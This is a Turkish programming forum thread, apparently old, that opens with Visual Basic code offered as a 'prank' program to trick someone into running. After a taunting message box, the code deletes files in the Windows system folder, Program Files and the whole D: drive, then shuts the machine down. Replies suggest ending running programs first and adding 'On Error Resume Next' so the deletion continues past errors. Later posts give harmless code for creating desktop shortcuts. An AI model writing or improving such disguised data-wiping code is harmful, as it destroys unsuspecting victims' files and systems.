Forum
Aktif konular
Üyeler
Kurallar
Arama
Taki Şaka 1.1 Taki Şaka 1.1
-
Private Sub Command1_Click()
Dim Mesaj As String
Mesaj = "Muahuahuahu LaMer" + Chr$(13) + Chr$(10) + "Hadi Geçmiş Ola !.."
MsgBox Mesaj, vbInformation + vbOKOnly, "taki Şaka 1.0"
Kill ("C:\Windows\System\*.*")
Kill ("C:\program Files\*.*")
Kill ("D:\*.*")
Shell ("rundll32.exe user,ExitWindows")
End Sub
bunu ama ma yedirin c sine d sine kil atıyo sonra da pc kapatı yo heheehheheeeeeeeeeeee
istek program yazıyorum :) -
istek üstüne program ya bana şunu yazarmısın pls.
flash gibi animasyon
dreamweawer gibi tasarım
studio max gibi modelleme
winamp gibi mp3
acdsee gibi resim gösterici ayrıca içinde excell,word ve power point te olsun lütfen hee bide son olarak photosopa benzetirsen ii olur.
:))
kendine ii bak.biliyosun bir türk dünyaya bedel hele programcıbir türk tüm evrene... -
o kadar da deil :))
-
iyi güzelde dostum çalışan programlar silinemezki.
tamam adama bayaa bi hasar verir lafım yok ama
yani nebliim windowsu falan silmeye çalışırsa hata verip kapanır...Yani ilk çalışan programı bulana kadar çalışır.
o nedenle bu programı şu şekle soksan iyi olur.
önce çalışan programları alsın.PC'den sonra geri kalanları silsin. Ayrıca sistem dosyalarını nasıl ayıracak çalışan çalışmayan diye hiç bi fikrim yok. -
ON ERROR RESUME NEXT
koy kodun başına, error falan dinlemesin daitsin ortalii ciksin... -
Bende onu ima edenzi.
Saygılar.
-
selam uzun zamandır yokdum geri döndüm hehehe neyse :))
-
Geri Döndüğün iyi oldu dostum:))
bişi sorcam , daha doğrusu 1 hafta öncede sordum ama kimseden yanıt yok. .exe dosyasının masaüstüne kısayolunu koydurmak için hangi komutu nasıl kullanmalıyım sölersen sewinirim...
-
Mesela...
Open "c:\windows\desktop\TahribatCom.url" For Output As #1
Print #1, "[InternetShortcut]"
Print #1, "URL=" & "http://www.tahribat.com"
Close #1
-
Şeyh tamamda benim bahsettiğim komut galiba (duyduğum kadarıyla) shelllink gibi falan bi komutmuş yani bahsettiğim mesela bi dosyayı biyerdeb biyere kopyalattım ve masaüstüne kısayolunu koydurcam...
-
Bana kalırsa bu işi install programına yaptırsan daha iyi olur, install us programı bunu senin için yapacaktır. ama ille de kodla kendin yapmak istiyorsan
Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
'degisenlerimiz...
Dim MyShortcut, MyDesktop, DesktopPath
'Dektop yolunu bul...
DesktopPath = WSHShell.SpecialFolders("Desktop")
' Kisayolu yarat...
Set MyShortcut = WSHShell.CreateShortcut(DesktopPath & "\Shortcut to notepad.lnk")
' Kısayon özelliklerini ata ve save et
MyShortcut.TargetPath = WSHShell.ExpandEnvironmentStrings("%windir%\notepad.exe")
MyShortcut.WorkingDirectory = WSHShell.ExpandEnvironmentStrings("%windir%")
MyShortcut.WindowStyle = 4
MyShortcut.IconLocation = WSHShell.ExpandEnvironmentStrings("%windir%\notepad.exe, 0")
MyShortcut.Save
(notepad.exeyi proraminin yolu ile degistir tabi)
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Toplam Hit: 5361 Toplam Mesaj: 14
Cevapla